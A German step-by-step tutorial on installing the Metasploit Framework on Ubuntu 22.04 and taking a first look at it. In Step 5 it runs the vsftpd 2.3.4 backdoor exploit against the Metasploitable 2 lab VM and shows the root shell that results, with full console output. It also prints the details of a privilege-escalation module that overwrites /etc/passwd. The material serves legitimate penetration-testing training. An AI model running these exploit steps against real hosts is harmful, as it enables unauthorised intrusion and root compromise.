So installierst du das Metasploit Framework unter Ubuntu 22.04
Als Netzwerkadministrator ist es wichtig, nach Sicherheitsschwachstellen zu suchen und sie so schnell wie möglich zu schließen. Metasploit ist ein Open-Source-Framework, das dabei hilft, Bedrohungen und Schwachstellen zu identifizieren. Es findet Schwachstellen in Computersystemen, Netzwerken und Anwendungen und nutzt sie aus. Mit Metasploit können Sicherheitsexperten reale Angriffe simulieren und die Sicherheitsvorkehrungen deines Unternehmens testen. Es wird mit vielen Exploits geliefert und du kannst auch deine eigenen erstellen.
In diesem Lernprogramm lernst du, wie du das Metasploit Framework installierst und grundlegende Tests auf einem Ubuntu 22.04 System durchführst.
Voraussetzungen
- Ein Rechner mit Ubuntu 22.04 und mindestens 4 GB RAM.
- Ein Nicht-Root-Benutzer mit sudo-Rechten.
- Die Unkomplizierte Firewall (UFW) ist aktiviert und läuft.
- Alles ist auf dem neuesten Stand.
$ sudo apt update && sudo apt upgrade
- Einige wenige Pakete, die dein System benötigt.
$ sudo apt install wget curl nano ufw software-properties-common dirmngr apt-transport-https gnupg2 ca-certificates lsb-release ubuntu-keyring unzip -y
Einige dieser Pakete sind vielleicht schon auf deinem System installiert.
Schritt 1 – Nmap installieren
Eines der am häufigsten benötigten Tools für Metasploit ist Nmap, das leider nicht im Quellcode enthalten ist. Wir können es entweder über den Quellcode installieren oder das Binary, das in einer ziemlich aktuellen Version verfügbar ist. Wir werden das Ubuntu-Paket-Repository verwenden, um Nmap zu installieren.
$ sudo apt install -y nmap
Wir werden dir drei Möglichkeiten zeigen, wie du Metasploit installieren kannst. Die erste Möglichkeit ist die Verwendung des Nightly-Installationsskripts. Der zweite Weg ist die Installation durch Kompilieren des Quellcodes. Der dritte Weg ist, direkt das Deb-Paket zu nehmen und es zur Installation von Metasploit zu verwenden. Unabhängig davon, welchen Weg du wählst, musst du zuerst Nmap installieren, da es nicht mit Metapsploit ausgeliefert wird.
Schritt 2 – Metasploit mit dem Nightly Installer installieren
Die Installation von Metasploit ist mit dem Nightly-Installer-Skript ganz einfach. Es wird mit Ruby und PostgreSQL 9.2 ausgeliefert und ist mit dem APT-Paketmanager integriert.
Erstelle ein temporäres Verzeichnis, um das Metasploit-Installationsskript herunterzuladen, und wechsle dorthin.
$ mkdir msf-install && cd ./msf-install
Lade das Installer-Skript herunter und benenne die Datei in msfinstall
um.
$ curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
Setze die Berechtigung 755 für das Skript.
$ chmod 755 msfinstall
Führe das Skript aus.
$ sudo ./msfinstall
Das Skript importiert zunächst den Signierschlüssel von den Metasploit-Servern, kopiert dann die Repository-Adresse für Metasploit in das Verzeichnis /etc/apt/sources.list.d/
und lädt und installiert schließlich das Metasploit-Paket mit APT und setzt die PATH-Variable dafür.
Führe das Metasploit-Konsolenskript zum Starten aus.
$ cd ~ $ msfconsole
Wenn du das Skript zum ersten Mal verwendest, startet es den Installationsassistenten und fragt dich, ob du eine neue Datenbank erstellen möchtest.
** Welcome to Metasploit Framework Initial Setup ** Please answer a few questions to get started. Would you like to use and setup a new database (recommended)? y
Gib y
ein und drücke dann die Eingabetaste, um fortzufahren. Damit wird eine Datenbank erstellt und ihre Daten im Verzeichnis ~/.msf4/db
gespeichert.
Running the 'init' command for the database: Creating database at /home/navjot/.msf4/db Creating db socket file at /tmp Starting database at /home/navjot/.msf4/db...server starting success Creating database users Writing client authentication configuration file /home/navjot/.msf4/db/pg_hba.conf Stopping database at /home/navjot/.msf4/db Starting database at /home/navjot/.msf4/db...server starting success Creating initial database schema Database initialization successful ** Metasploit Framework Initial Setup Complete **
Du gelangst dann zur Metasploit-Konsole, die ungefähr so aussehen sollte wie die folgende.
Metasploit tip: Use the analyze command to suggest runnable modules for hosts .;lxO0KXXXK0Oxl:. ,o0WMMMMMMMMMMMMMMMMMMKd, 'xNMMMMMMMMMMMMMMMMMMMMMMMMMWx, :KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK: .KMMMMMMMMMMMMMMMWNNNWMMMMMMMMMMMMMMMX, lWMMMMMMMMMMMXd:.. ..;dKMMMMMMMMMMMMo xMMMMMMMMMMWd. .oNMMMMMMMMMMk oMMMMMMMMMMx. dMMMMMMMMMMx .WMMMMMMMMM: :MMMMMMMMMM, xMMMMMMMMMo lMMMMMMMMMO NMMMMMMMMW ,cccccoMMMMMMMMMWlccccc; MMMMMMMMMX ;KMMMMMMMMMMMMMMMMMMX: NMMMMMMMMW. ;KMMMMMMMMMMMMMMX: xMMMMMMMMMd ,0MMMMMMMMMMK; .WMMMMMMMMMc 'OMMMMMM0, lMMMMMMMMMMk. .kMMO' dMMMMMMMMMMWd' .. cWMMMMMMMMMMMNxc'. ########## .0MMMMMMMMMMMMMMMMWc #+# #+# ;0MMMMMMMMMMMMMMMo. +:+ .dNMMMMMMMMMMMMo +#++:++#+ 'oOWMMMMMMMMo +:+ .,cdkO0K; :+: :+: :::::::+: Metasploit =[ metasploit v6.4.1-dev- ] + -- --=[ 2405 exploits - 1239 auxiliary - 422 post ] + -- --=[ 1465 payloads - 47 encoders - 11 nops ] + -- --=[ 9 evasion ] Metasploit Documentation: https://docs.metasploit.com/ msf6 >
Überprüfe den Status der Datenbank.
msf6 > db_status [*] Connected to msf. Connection type: postgresql.
Dies bestätigt, dass die Verbindung zur PostgreSQL-Datenbank korrekt hergestellt wurde und einwandfrei funktioniert.
Beende die Konsole.
msf6 > exit
Schritt 3 – Installiere Metasploit mit Hilfe des Quellcodes
Installiere die Voraussetzungen
Installiere die von Metasploit benötigten Pakete.
$ sudo apt install -y autoconf bison build-essential gpgv2 libaprutil1 libgmp3-dev libpcap-dev libpq-dev libreadline-dev libsqlite3-dev libssl-dev locate libsvn1 libtool libxml2-dev libxslt1-dev libyaml-dev libncurses-dev xsel zlib1g-dev
Installiere Git. Möglicherweise ist es bereits auf deinem Server vorhanden.
$ sudo apt install -y git
PostgreSQL installieren
Installiere PostgreSQL. Ubuntu 22.04 wird standardmäßig mit PostgreSQL 14 ausgeliefert, das wir auch verwenden werden.
$ sudo apt install -y postgresql postgresql-contrib
Überprüfe den Status des PostgreSQL-Dienstes.
$ sudo systemctl status postgresql
Du solltest die folgende Ausgabe sehen, die bestätigt, dass PostgreSQL läuft.
? postgresql.service - PostgreSQL RDBMS Loaded: loaded (/lib/systemd/system/postgresql.service; enabled; vendor preset: enabled) Active: active (exited) since Mon 2024-04-01 14:22:31 UTC; 7s ago Process: 5984 ExecStart=/bin/true (code=exited, status=0/SUCCESS) Main PID: 5984 (code=exited, status=0/SUCCESS) CPU: 1ms Apr 01 14:22:31 metasploit systemd[1]: Starting PostgreSQL RDBMS... Apr 01 14:22:31 metasploit systemd[1]: Finished PostgreSQL RDBMS.
PostgreSQL konfigurieren
Wechsle zum PostgreSQL-Benutzer.
$ sudo -i -u postgres
Erstelle eine PostgreSQL-Rolle für Metasploit. Du wirst aufgefordert, ein Passwort einzurichten.
$ createuser msfuser -S -R -P
Erstelle eine PostgreSQL-Datenbank für Metasploit und setze den Besitzer auf den von uns erstellten Benutzer.
$ createdb msfdb -O msfuser
Beende das PostgreSQL-Konto.
$ exit
Öffne die Datei /etc/postgresql/14/main/pg_hba.conf
zum Bearbeiten.
$ sudo nano /etc/postgresql/14/main/pg_hba.conf
Füge die folgende Zeile unter der Zeile host all all 127.0.0.1/32 scram-sha-256
hinzu.
.... host all all 127.0.0.1/32 scram-sha-256 host "msfdb" "msfuser" 127.0.0.1/32 md5
Speichere die Datei, indem du Strg + X drückst und Y eingibst, wenn du dazu aufgefordert wirst.
Installiere den Ruby Version Manager (RVM)
Metasploit benötigt Ruby für die Installation. Wir werden den Ruby Version Manager (RVM) verwenden, um Ruby und Gems zu installieren.
Importiere den RVM GPG-Schlüssel.
$ gpg2 --keyserver hkp://keyserver.ubuntu.com --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3 7D2BAF1CF37B13E2069D6956105BD0E739499BDB
Verwende curl, um das RVM-Installationsskript herunterzuladen.
$ \curl -sSL https://get.rvm.io -o rvm.sh
Installiere die stabile Version von RVM.
$ cat rvm.sh | bash -s stable
Rufe die RVM-Skripte aus dem Verzeichnis auf, in dem sie installiert wurden.
$ source ~/.rvm/scripts/rvm
Lade Metasploit herunter
Wechsle in das Home-Verzeichnis.
$ cd ~
Lade den Quellcode von Metasploit von GitHub herunter.
$ git clone https://github.com/rapid7/metasploit-framework.git
Wechsle in das Metasploit-Verzeichnis.
$ cd metasploit-framework
Wenn du in das Verzeichnis wechselst, siehst du die folgenden Anweisungen.
Required ruby-3.0.5 is not installed. To install do: 'rvm install "ruby-3.0.5"'
Darin wird erwähnt, dass das Metasploit-Framework die Ruby-Version 3.0.5 benötigt. Du kannst es auch bestätigen, indem du den folgenden Befehl ausführst.
$ cat .ruby-version 3.0.5
Ruby installieren
An dieser Stelle wird es knifflig. Ubuntu 22.04 unterstützt OpenSSL 3, während Ruby 3.0.x nur mit OpenSSL 1.1 funktioniert. Das bedeutet, dass wir es nicht auf dem üblichen Weg installieren können. Die beste Lösung ist, den Quellcode von OpenSSL 1.1 herunterzuladen, ihn zu kompilieren und damit Ruby zu installieren. Dies hat keine Auswirkungen auf andere Anwendungen auf deinem Server.
Hol dir OpenSSL 1.1. Die neueste Version findest du auf der Seite mit den OpenSSL 1.1-Quellen.
$ wget https://www.openssl.org/source/old/1.1.1/openssl-1.1.1w.tar.gz
Entpacke das heruntergeladene Archiv.
$ tar zxf openssl-1.1.1w.tar.gz
Wechsle in das entpackte Verzeichnis.
$ cd openssl-1.1.1w
Konfiguriere den Quellcode.
$ ./config --prefix=$HOME/.openssl/openssl-1.1.1w --openssldir=$HOME/.openssl/openssl-1.1.1w
Führe den make-Befehl aus.
$ make
Führe den make-Befehl erneut aus, um Tests durchzuführen.
$ make tests
Installiere OpenSSL 1.1.1w.
$ make install
Konfiguriere das Verzeichnis SSL certs so, dass es auf das Verzeichnis /etc/ssl/certs
zeigt und entferne das ursprüngliche Verzeichnis.
$ rm -rf ~/.openssl/openssl-1.1.1w/certs $ ln -s /etc/ssl/certs ~/.openssl/openssl-1.1.1w/certs
Wechsle zurück in das Metasploit-Verzeichnis.
$ cd ~/metasploit-framework
Installiere Ruby.
$ rvm install "ruby-3.0.5" --with-openssl-dir=$HOME/.openssl/openssl-1.1.1w Checking requirements for ubuntu. Installing requirements for ubuntu. Updating system Installing required packages: libffi-dev, libgdbm-dev, libncurses5-dev, sqlite3..... ........................ Install of ruby-3.0.5 - #complete Ruby was built without documentation, to build it run: rvm docs generate-ri
Installiere Metasploit
Wechsle in das Metasploit-Verzeichnis.
$ cd ~/metasploit-framework
Installiere den Bundler Gem.
$ gem install bundler
Installiere die notwendigen Ruby Gems.
$ bundle install
Starte die Metasploit-Konsole.
$ ./msfconsole
Du solltest eine ähnliche Ausgabe sehen.
Metasploit tip: You can use help to view all available commands __________________ < Shells are cool. > ------------------ \ \ \ \ \ ????????? ??????????? ???????????? ??????????????? ?????????????????? ????????????????????? ??????????????????????? ??????????????????????? ????????????????????? ???????????????????????? ?????? ?????????????????????? ???????????? ?????????????????? ?????????????? ???????????????????????????????????? ??????????????????? ???????? ??????????????????? ?????? ? ?????????????????? ?? ???? ???????????????? ??? ?????? ????????? ? ??????? ???????? ??????? ????????? ????????? ????????? ????????? ?????????? ??????? ??????? =[ metasploit v6.4.2-dev-44ba1b5082 ] + -- --=[ 2408 exploits - 1240 auxiliary - 422 post ] + -- --=[ 1465 payloads - 47 encoders - 11 nops ] + -- --=[ 9 evasion ] Metasploit Documentation: https://docs.metasploit.com/ msf6 >
Teste die Datenbankverbindung.
msf6 > db_status [*] postgresql selected, no connection
Verbinde dich mit der Datenbank, die wir zuvor erstellt haben.
msf6 > db_connect msfuser:yourmsfpassword@127.0.0.1:5432/msfdb [*] Connected to Postgres data service: 127.0.0.1/msfdb
Überprüfe den Status der Datenbank.
msf6 > db_status [*] Connected to msfdb. Connection type: postgresql. Connection name: local_db_service.
Beende die Konsole.
msf6 > exit
Konfiguriere die Metasploit-Datenbankeinstellungen
Die Datenbankverbindung bleibt bei wiederholter Nutzung der Metasploit-Konsole nicht bestehen. Um sie dauerhaft zu machen, müssen wir sie in einer Datei im Verzeichnis ~/.msf4
speichern.
Erstelle eine Datei database.yml
im Verzeichnis ~/.msf4/
.
$ touch ~/.msf4/database.yml
Öffne sie zum Bearbeiten.
$ nano ~/.msf4/database.yml
Füge den folgenden Code in die Datei ein.
production: adapter: postgresql database: msfdb username: msfuser password: [PASSWORD] host: 127.0.0.1 port: 5432 pool: 75 timeout: 5
Speichere die Datei, indem du Strg + X drückst und Y eingibst, wenn du dazu aufgefordert wirst.
Starte die Konsole erneut.
$ ./msfconsole
Überprüfe den Status der Datenbankverbindung.
msf6 > db_status [*] Connected to msfdb. Connection type: postgresql.
Dies bestätigt, dass Metasploit erfolgreich mit der PostgreSQL-Datenbank verbunden ist.
Schritt 4 – Installiere Metasploit mit dem Binärpaket
Besuche die APT-Repository-Seite von Metasploit und wähle die URL für das neueste Metasploit deb-Paket unten auf der Seite. Zum Zeitpunkt der Erstellung dieses Artikels war die letzte verfügbare Version 6.4.1+20240326102606.
Lade das Paket mit dem Befehl wget
herunter.
$ wget https://apt.metasploit.com/pool/main/m/metasploit-framework/metasploit-framework_6.4.1%2B20240326102606~1rapid7-1_amd64.deb
Installiere das Paket.
$ sudo dpkg -i metasploit-framework_6.4.1+20240326102606~1rapid7-1_amd64.deb
Setze die Installation fort, indem du den Metasploit-Konsolenbefehl ausführst.
$ msfconsole
Fahre auf die gleiche Weise wie in Schritt 1 fort, um die Installation von Metasploit abzuschließen.
Schritt 5 – Teste Metasploit
Das obere Banner, das du beim Start der Metasploit-Konsole siehst, kann störend sein. Du kannst es mit der Option -q
ausschalten.
$ msfconsole -q
Auf diese Weise wirst du direkt zur Konsole weitergeleitet.
msf6 >
Um alle verfügbaren Befehle aufzulisten, rufe help
auf der Konsole auf.
msf6 > help
Du erhältst dann die folgende Ausgabe.
Core Commands ============= Command Description ------- ----------- ? Help menu banner Display an awesome metasploit banner cd Change the current working directory color Toggle color connect Communicate with a host debug Display information useful for debugging exit Exit the console features Display the list of not yet released features that can be opted in to get Gets the value of a context-specific variable getg Gets the value of a global variable grep Grep the output of another command help Help menu history Show command history load Load a framework plugin quit Exit the console repeat Repeat a list of commands route Route traffic through a session save Saves the active datastores sessions Dump session listings and display information about sessions set Sets a context-specific variable to a value setg Sets a global variable to a value sleep Do nothing for the specified number of seconds spool Write console output into a file as well the screen threads View and manipulate background threads tips Show a list of useful productivity tips unload Unload a framework plugin unset Unsets one or more context-specific variables unsetg Unsets one or more global variables version Show the framework and console library version numbers .........................................................................
Um alle verfügbaren Exploits aufzulisten, führe den folgenden Befehl aus.
msf6 > show exploits
Du solltest eine ähnliche Ausgabe erhalten.
Metasploit bietet auch eine werkzeugspezifische Dokumentation mit dem folgenden Befehl. Damit kannst du mehr darüber herausfinden, wie ein bestimmter Exploit funktioniert. Wir werden uns ansehen, wie der Exploit xorg_x11_server
funktioniert.
msf6 > info xorg_x11_server
Du wirst die folgende Ausgabe erhalten.
msf6 > info exploit/aix/local/xorg_x11_server Name: Xorg X11 Server Local Privilege Escalation Module: exploit/aix/local/xorg_x11_server Platform: Unix Arch: cmd Privileged: No License: Metasploit Framework License (BSD) Rank: Great Disclosed: 2018-10-25 Provided by: Narendra Shinde Zack Flack <dzflack@gmail.com> Module side effects: config-changes Available targets: Id Name -- ---- 0 IBM AIX Version 6.1 => 1 IBM AIX Version 7.1 2 IBM AIX Version 7.2 Check supported: Yes Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- SESSION yes The session to run this module on WritableDir /tmp yes A directory where we can write files Payload information: Description: WARNING: Successful execution of this module results in /etc/passwd being overwritten. This module is a port of the OpenBSD X11 Xorg exploit to run on AIX. A permission check flaw exists for -modulepath and -logfile options when starting Xorg. This allows unprivileged users that can start the server the ability to elevate privileges and run arbitrary code under root privileges. This module has been tested with AIX 7.1 and 7.2, and should also work with 6.1. Due to permission restrictions of the crontab in AIX, this module does not use cron, and instead overwrites /etc/passwd in order to create a new user with root privileges. All currently logged in users need to be included when /etc/passwd is overwritten, else AIX will throw 'Cannot get "LOGNAME" variable' when attempting to change user. The Xorg '-fp' parameter used in the OpenBSD exploit does not work on AIX, and is replaced by '-config', in conjuction with ANSI-C quotes to inject newlines when overwriting /etc/passwd. ...................................
Wir wollen Metasploit verwenden, um offene Ports auf einem infizierten Rechner zu überprüfen. Für unser Tutorial werden wir die virtuelle Maschine Metasploit verwenden. Das ist eine Testmaschine, die du zu Lernzwecken verwenden kannst. Wir verwenden Metasploitable 2, das mit einer herunterladbaren VirtualBox-Festplatte geliefert wird, mit der du eine virtuelle Maschine einrichten kannst, die wir für unsere Tests verwenden. Du kannst auch Metasploitable 3 verwenden, eine VirtualBox-Maschine, die auf Vagrant basiert und eine andere Art der Installation erfordert.
Benutze das Nmap-Tool, um nach offenen Ports zu suchen.
msf6 > nmap -sV 192.168.31.36
Je nach Rechner, den du untersuchst, solltest du eine ähnliche Ausgabe erhalten.
msf6 > nmap -sV 192.168.31.36 [*] exec: nmap -sV 192.168.31.36 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-03 12:23 IST Nmap scan report for 192.168.31.36 Host is up (0.0046s latency). Not shown: 977 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) 23/tcp open telnet Linux telnetd 25/tcp open smtp Postfix smtpd 53/tcp open domain ISC BIND 9.4.2 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2) 111/tcp open rpcbind 2 (RPC #100000) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 512/tcp open exec netkit-rsh rexecd 513/tcp open login 514/tcp open tcpwrapped 1099/tcp open java-rmi GNU Classpath grmiregistry 1524/tcp open bindshell Metasploitable root shell 2049/tcp open nfs 2-4 (RPC #100003) 2121/tcp open ftp ProFTPD 1.3.1 3306/tcp open mysql MySQL 5.0.51a-3ubuntu5 5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7 5900/tcp open vnc VNC (protocol 3.3) 6000/tcp open X11 (access denied) 6667/tcp open irc UnrealIRCd 8009/tcp open ajp13 Apache Jserv (Protocol v1.3) 8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1 Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.57 seconds
Da wir nun eine Liste offener Ports haben, die wir ausnutzen können, wollen wir einen davon verwenden. Wir werden den Dienst vsftpd
verwenden, um ihn auszunutzen. Bevor wir das tun, suchen wir ihn in unserer Exploit-Liste, um mehr über ihn herauszufinden.
msf6 > search vsftpd
Du wirst die folgende Ausgabe erhalten.
msf6 > search vsftpd Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/dos/ftp/vsftpd_232 2011-02-03 normal Yes VSFTPD 2.3.2 Denial of Service 1 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
Als Nächstes können wir einfach den Namen des Exploits kopieren und ihn mit dem folgenden Befehl verwenden. Mit diesem Befehl können wir in den Exploit eindringen.
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
Du erhältst die folgende Ausgabe.
[*] No payload configured, defaulting to cmd/unix/interact
Die Konsolen-Eingabeaufforderung sieht wie folgt aus.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
Als Nächstes verwendest du den Befehl show options
, um die Anforderungen des Exploits zu überprüfen.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
Du erhältst die folgende Ausgabe.
Module options (exploit/unix/ftp/vsftpd_234_backdoor): Name Current Setting Required Description ---- --------------- -------- ----------- CHOST no The local client address CPORT no The local client port Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 21 yes The target port (TCP) Exploit target: Id Name -- ---- 0 Automatic View the full module info with the info, or info -d command.
Hier siehst du die aktuellen Einstellungen für einige Variablen. RHOSTS
in der Ausgabe gibt die IP des Remote-Hosts an und RPORT
verweist auf den Port des Remote-Hosts. Setze die IP des Remote-Hosts, damit dieser Exploit funktioniert. Damit wird festgelegt, welcher Rechner angegriffen werden soll.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.31.36 RHOSTS => 192.168.31.36
Jetzt, da die IP des Remote-Hosts konfiguriert ist, können wir mit dem Hack fortfahren. Führe den Befehl exploit
aus und warte, bis der Hack ausgeführt wird.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
Du solltest die folgende Ausgabe sehen.
[*] 192.168.31.36:21 - Banner: 220 (vsFTPd 2.3.4) [*] 192.168.31.36:21 - USER: 331 Please specify the password. [+] 192.168.31.36:21 - Backdoor service has been spawned, handling... [+] 192.168.31.36:21 - UID: uid=0(root) gid=0(root) [*] Found shell. [*] Command shell session 1 opened (192.168.31.10:46765 -> 192.168.31.36:6200) at 2024-04-03 12:37:46 +0530
Du solltest jeden beliebigen Befehl eingeben können und er wird auf dem Zielsystem funktionieren und den Hack bestätigen. Benutze zur Bestätigung den Befehl ifconfig
, um die Netzwerkdetails abzurufen.
ifconfig
Du erhältst die folgende Ausgabe, die zeigt, dass die Ausgabe vom Zielrechner kommt, was bedeutet, dass unser Exploit funktioniert hat.
eth0 Link encap:Ethernet HWaddr 08:00:27:88:8d:ae inet addr:192.168.31.36 Bcast:192.168.31.255 Mask:255.255.255.0 inet6 addr: fe80::a00:27ff:fe88:8dae/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:1671 errors:0 dropped:0 overruns:0 frame:0 TX packets:1529 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:145408 (142.0 KB) TX bytes:142342 (139.0 KB) Base address:0xd020 Memory:f0200000-f0220000 lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:274 errors:0 dropped:0 overruns:0 frame:0 TX packets:274 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:109881 (107.3 KB) TX bytes:109881 (107.3 KB)
Dies ist nur eine der Möglichkeiten, die Metasploit bietet. Du kannst noch viel mehr damit machen, um Schwachstellen zu finden und herauszufinden, welche deiner Rechner offen und angreifbar sind, und sie zu flicken.
Schritt 6 – Metasploit aktualisieren
Metasploit wird mit einem Update-Skript geliefert. Wenn du Metasploit mit Hilfe von Schritt 2 und Schritt 4 installiert hast, musst du nur den folgenden Befehl ausführen, um Metasploit zu aktualisieren.
$ sudo msfupdate
Mit denselben beiden Methoden kannst du auch das APT-Repository konfigurieren, sodass du das Skript nicht ausführen musst. Jedes Mal, wenn du sudo apt update && sudo apt upgrade
ausführst, wird Metasploit aktualisiert.
Wenn du Metasploit aus dem Quellcode installiert hast, musst du es manuell aktualisieren. Wechsle in das Metasploit-Framework-Verzeichnis.
$ cd ~/metasploit-framework
Setze zunächst einige Variablen für Git. Das ist nur ein einmaliger Vorgang.
$ git config --global user.name "YourName" $ git config --global user.email "name@example.com"
Jetzt kannst du die Updates mit dem folgenden Befehl ausführen.
$ ./msfupdate
Damit du diesen Befehl nicht immer wieder ausführen musst, kannst du einen Cron-Job einrichten, der die Aktualisierung automatisch vornimmt. Führe den folgenden Befehl aus, um den Crontab-Editor zu starten.
$ crontab -e
Du wirst gefragt, welchen Editor du verwenden möchtest.
no crontab for navjot - using an empty one Select an editor. To change later, run 'select-editor'. 1. /bin/nano <---- easiest 2. /usr/bin/vim.basic 3. /usr/bin/vim.tiny 4. /bin/ed Choose 1-4 [1]: 1
Wähle 1, wenn du den nano-Editor verwenden willst. Diesen werden wir verwenden.
Als Nächstes fügst du den folgenden Code ein, um automatische Updates für Metasploit zu aktivieren.
0 1 * * * /home/<username>/metasploit-framework/msfupdate > /dev/null 2>&1
Dadurch wird das Update-Skript jeden Tag um 1 Uhr nachts ausgeführt. Speichere die Datei, indem du Strg + X drückst und Y eingibst, wenn du dazu aufgefordert wirst.
Das war’s schon. So bleibt dein Metasploit auf dem neuesten Stand, ohne dass du eingreifen musst.
Schritt 7 – Metasploit deinstallieren
Wenn du Metasploit mit Hilfe von Schritt 2 oder 4 installiert hast, musst du nur den folgenden Befehl ausführen, um Metasploit zu entfernen.
$ sudo apt autoremove --purge metasploit-framework
Wenn du Metasploit jedoch über den Quellcode installiert hast, musst du eine Reihe von Befehlen ausführen, um Metasploit zu entfernen.
$ rm -Rf ~/.rvm $ rm -Rf ~/.gem $ rm -f ~/.gemrc $ rm -Rf ~/.bundle $ rm -f ~/rvm.sh $ rm -rf ~/.local/share/gem
Öffne die Datei .bashrc
zum Bearbeiten.
$ nano ~/.bashrc
Entferne die folgende Zeile am Ende der Datei.
# Add RVM to PATH for scripting. Make sure this is the last PATH variable change. export PATH="$PATH:$HOME/.rvm/bin"
Entferne zu guter Letzt PostgreSQL, wenn du es nicht mehr brauchst.
Speichere die Datei, indem du Strg + X drückst und Y eingibst, wenn du dazu aufgefordert wirst.
Öffne die .bash_profile
zur Bearbeitung.
$ nano ~/,bash_profile
Entferne die folgenden Zeilen am Ende der Datei.
[ -s "$HOME/.rvm/scripts/rvm" ]] && source "$HOME/.rvm/scripts/rvm" # Load RVM into a shell session *as a function*
Speichere die Datei, indem du Strg + X drückst und Y eingibst, wenn du dazu aufgefordert wirst.
Öffne die Datei .profile
, um sie zu bearbeiten.
$ nano ~/.profile
Entferne den folgenden Code am unteren Ende der Datei.
# Add RVM to PATH for scripting. Make sure this is the last PATH variable change. export PATH="$PATH:$HOME/.rvm/bin" [[ -s "$HOME/.rvm/scripts/rvm" ]] && source "$HOME/.rvm/scripts/rvm" # Load RVM into a shell session *as a function*
Speichere die Datei, indem du Strg + X drückst und Y eingibst, wenn du dazu aufgefordert wirst.
Rufe die Dateien auf, um die Änderungen zu laden.
$ source ~/.bashrc $ source ~/.bash_profile $ source ~/.profile
Entferne die Metasploit-Verzeichnisse.
$ rm -rf ~/metasploit-framework $ rm -rf ~/.msf4
Deinstalliere PostgreSQL, wenn du es nicht mehr brauchst.
$ sudo apt autoremove --purge postgresql postgresql-contrib
Deinstalliere OpenSSL 1.1.1. Mit den folgenden Befehlen deinstallierst du das Paket, bereinigst das Verzeichnis und entfernst das heruntergeladene Archiv.
$ cd ~/openssl-1.1.1w $ make uninstall $ cd ~/ $ rm -rf ./openssl-1.1.1w $ rm openssl-1.1.1w.tar.gz
Fazit
Damit ist unsere Anleitung zur Installation des Metasploit-Frameworks auf einem Ubuntu 22.04 System und zur Durchführung einiger grundlegender Operationen abgeschlossen. Wenn du noch Fragen hast, schreibe sie in die Kommentare unten.